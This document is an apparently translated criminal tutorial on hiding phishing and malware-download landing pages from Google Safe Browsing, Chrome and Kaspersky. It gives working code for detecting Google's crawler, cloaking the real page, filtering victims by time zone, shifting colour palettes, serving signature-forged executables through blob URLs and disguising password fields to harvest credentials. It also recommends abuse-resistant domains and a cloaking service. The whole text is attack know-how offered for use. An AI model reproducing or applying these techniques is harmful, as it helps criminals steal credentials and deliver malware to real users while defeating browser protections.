Getting rid of Google Safebrowsing red screen once and forever
Getting rid of Google Safebrowsing red screen once and forever
Now I've written a step-by-step guide with code examples on how to save your webpage from the red screen of happiness.
- What Google Safe Browsing is all about
- How to choose the right domain
- How to create a correct ssl-certificate
- How to hide from GSB Crawler
- Updating the crypt of js-files of the previous landing page
- How to bypass palette based detection
- How to bypass Kaspersky detection
- How to bypass file download blocking by chrome
- With what and how to bypass password input form
1. What is Google Safe Browsing?
Google Safe Browsing consists of four parts:
- A mechanism built into chrome to detect phishing based on color palette matches and parts of domains of previously visited sites.
- A mechanism for checking url addresses and file hashes for a match against a preloaded database of locally stored truncated hashes.
- mechanism for decompressing most types of ahreaves and checking executable file hashes and their section hashes against locally stored database
- a crawler which gets the addresses of the downloaded files, goes through them, downloads them and sends them to google servers to be analyzed by the anti-virus engine using the VirusTotal service.
Register an abuzam-resistant domain can be domains4bitcoins.com or domaindiscount24.com (these services reseljat many sellers of resistant to abuzam domains). Domain must be given to rest at least a week, because registered yesterday domains do not trust google at all. The domain name must not contain:
- branded words
- Branded words with misspellings
- names of domains that the user has visited before, such as dhl, telegram, hsbc and the like.
For example, let us take domain 4bi.us.
3. we need an ssl certificate for the domain.
To do this we will bind the domain to cloudflare.com. All ssl certificates go into a special feed, called certificate transparency log, when they are created. This feed is constantly monitored by antivirus companies. You can check it for example here: https://certstream.calidog.io/. Therefore, all certificates issued for the domains, which contain branded words or branded words with misprints instantly fall into the field of vision of anti-virus companies, and your phishing, placed on the domain with a misprint will be instantly marked as malicious. Thus, we cannot order a certificate for a branded domain with a typo. However, cloudflare gives us the opportunity to order a wildcard certificate for free. This is a certificate for all subdomains of the domain, without specifying a specific subdomain name. This way our subdomain with a typo in the name will not be noticed by antivirus companies.
This is how the entry for the wildcard domain looks like in the domain dns settings in cloudflare:
Here 122.1.1.231 is the ip-address of our server
Now our landing page will be available, for example, at telegrarn.4bi.us.
4. Let's hide the landing from crawler GSB
GSB crawler (as well as GoogleAds crawler) is based on pure Google Chrome engine with minimal changes. It runs in headless mode and is controlled via webdriver-protocol. It makes no sense trying to block it by ip-address, because it uses proxy servers with home addresses. But in headless mode the desktop version of the Chrome browser has disabled Notification API support. Based on the presence of support for this api we will identify the crawler and show it a white site instead of a malicious one.
To start with, we will create a white lie website. You can buy a ready-made white cloaking landing page for pennies at https://t.me/whitegen_bot bot.
Suppose the start page of our phishing site is called index.php. Rename it to home.php and put the code of pure (white) feeder page, created by telegram bot, in the body of index.php page. Now the code of the index.php home page looks something like this:
So that users see our phishing page and not the white site, let's add the following html code to the head section of our index.php home page:
<script>home='L2hvbWUucGhw';zones=/Madrid|Canary|Vienna|Istanbul/gi;timezoneOffset=zones.test((newIntl.DateTimeFormat).resolvedOptions().timeZone);self.Notification&&timezoneOffset&&fetch(atob(home)).then(function(r){return r.text().then(function(t){document.write(t)})});</script>
In this code we do the following:
- We hide the address of the phishing page (home.php) in the home variable by encoding it in base64 (for example, base64encode.net). This is necessary because the GSB crawler extracts all the links from the files it downloads and tries to analyze them.
- For order, we cut off unnecessary users based on the time zone used by their system. This isn't a critical move, but it will keep our phishing from being looked at too closely. Here's a table of time zone names for the countries of interest: en.wikipedia.org/wiki/List_of_tz_database_time_zones. If we want to pour traffic to the bandwidth of e.g. Germany, then replace line zones = /Madrid|Canary|Vienna|Istanbul/gi; on the line zones = /Berlin/gi; and thus cut off all users (and crawlers) with another time zone, selected in the settings of their system.
- As a last step, we check if the user has the right timezone, we download the home.php file and replace it with the contents of the current index.php page.
Now our index.php home page code looks something like this:
And all the right users see our evil landing page:
5. Rewrite all the js-files from our last landing page
The google crawler checks and remembers all js-files from pages identified as malicious. Therefore, before we start, we definitely need to re-obfuscate all the js-files of our landing page. To do this, you can use any of the many javascript obfuscators, such as https://obfuscator.io/.
6. Change the color palette of our banding
Chrome has a built-in mechanism that detects phishing sites based on matching the sum of all the pixels in each color of the page to the palettes of sites the user has visited before. You can read more about this mechanism here: https://blog.chromium.org/2021/07/m92-faster-and-more-efficient-phishing-detection.html.
We can change the color palette of our banding in one line of javascript-code, which should be placed in js-file loaded from <head> section of home.php page so that it will be executed before the page body is loaded. This line here:
document.documentElement.style.cssText="filter:hue-rotate(4deg)";
Let's add it to any javascript file from the <head> section of the page, like jquery.js:
7. Change original <title> of landing page to any other one
Kaspersky Anti-Virus checks if the content of the <title> tag matches the content of <title> pages you have already visited. For example:
8. If a file is being downloaded from your web site
The addresses of all the files downloaded by Chrome browser are sent to google and then the GoogleSafeBrowsing crawler comes to those addresses, downloads the files and analyzes them with its own antivirus engine and virustotal.com platform. The hashes of dangerous files and executable file sections are stored locally in Chrome browser. Therefore, first of all we need to use a clean file. Also Chrome will block downloading the file if:
- Its name contains branded words. So we can't give the file a name like FireFox_Installer.exe, but we will use a neutral name like Installer.exe.
- If the download of the file was not initiated by a user click (just the user - the .click() method with javascript will not work for us)
- If the file type is executable (or the file archive contains executables) and the domain the user hasn't been to in the last 24 hours.
- If the file type is executable (or the file archive contains executable files), and the file has no digital signature (at least invalid).
For general reference, you can read in the source code of the Chromium browser what parameters are used by the browser to determine whether a file is dangerous : https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/resources/safe_browsing/README.md;l=143;drc=591c5c5c478112625a5da995afeeb6566429c04ef9.
Which files Chrome considers executable can be seen here: https://source.chromium.org/chromium/chromium/src/+/main:components/safe_browsing/core/resources/download_file_types.asciipb;l=2172;drc=af17ad3f07c1d8a24381eb7669bec0c2ffb86521.
First we will use the SigThief utility to glue any digital signature taken from any signed executable to our file. To prevent our file from being downloaded by google crawler, we need to:
- stop using static file addresses
- Remove the pure file address from the page code
- pass the file to the user via an etheric blob-url
Suppose our button to download the file looks like this:
Let's remove the direct file address from it, for example by encoding it in base64 with any base64 encoder (like base64encode.net) and add any id for the button to snag it in javascript:
Now in our .js file (in our example it's jquery.js) let's add code that waits until the DOM tree is fully loaded and for all links with id="clickbtn" replace the file address with a temporary blob-url:
document.addEventListener('DOMContentLoaded',function(e) {
document.querySelectorAll('#clickbtn').forEach(function(a,url) {
url = atob(a.href.split('/').slice(-1)[0]);
fetch(url).then(function(r){return r.blob()}).then(function(blob){
a.href = URL.createObjectURL(blob);
a.download = url.split('/').slice(-1)[0]; });});});
Now our javascript code file will look something like this:
Now we obfuscate this code with obfuscator.io:
Please keep in mind that even if the archive with the file is password-protected, the Chrome browser can still see the file names in the archive and understand that the archive contains executable files.
9. If your landing page has a password entry form
This is already more complicated. First of all, Chrome is suspicious of html pages that contain a password field or the word password in any language.
First, let's get rid of the word password on the page. The css pseudo elements such as ::before or ::after are not involved in representing the DOM tree and are therefore a good idea. Let's remove the word password from the page code and display it in css. Let's assume that our word password looks like this in the code of the page:
Let's remove it and put any string element with any class in its place. For example span with the class pass:
Now add the following html code anywhere in the html code of our page:
.pass::before {content: "pass"}
.pass::after {content: "word"}
In this case, we broke the word password into two parts and inside the style block. And here is the result:
Let's get rid of the password field by replacing it with the usual <input type="text">.
Suppose our password input field looks like this:
Replace it with the following code:
<div class="wrapper"> <input type="text" id="dots" class="form-control input ext-input text-box ext-text-box"> <input type="text" name="passwd" id="i0118" class="form-control input ext-input text-box ext-text-box"> </div>
We changed the password field type from password to text, then added the same text input field with id="dots" in front of it, and wrapped both fields in a separate layer. This is necessary to represent a natural password input field. The first input will contain only ● characters, representing the password characters as they are entered by the user. The second input will be superimposed on top of the first, have zero transparency, and pass all typed characters to the first input. We have also copied all the classes from the password input into the classes of the input with bold dots, to preserve the original layout. Now take care of superimposing the second input field over the first. Let's add the following styles to our page code:
.wrapper input[type=text] {position:absolute!important}
.wrapper #i0118 {opacity:0!important}
where in our example #i0118 is the id of the original password field. Now our css code looks like this:
In the above code, the position:relative value of the block with the wrapper class is necessary to position the inner blocks absolutely to the parent element.
Now let's animate the input fields with javascript. Let's add the following code to any .js file (or to the body of the page, wrapping it with <script> tag beforehand):
document.addEventListener('DOMContentLoaded', function(e) {i0118.onfocus = function(e){dots.value=dots.value||'|'}i0118.onkeyup = function(e){dots.value=i0118.value.replace(/./g,'●')+'|'}});
In the above code, i0118 is the id of the original password field and dots is the id of the field representing the user input. Now our js-code looks like this:
If you included all the code in the body of the page, it now looks something like this:
To play with a live code sample, visit jsbin.com: https://jsbin.com/mipoqoxeve/edit?html,output
Great. We got rid of all references to the word password on the page and removed the password field.
Now, if we've done all the steps correctly, our landing page is perfectly safe: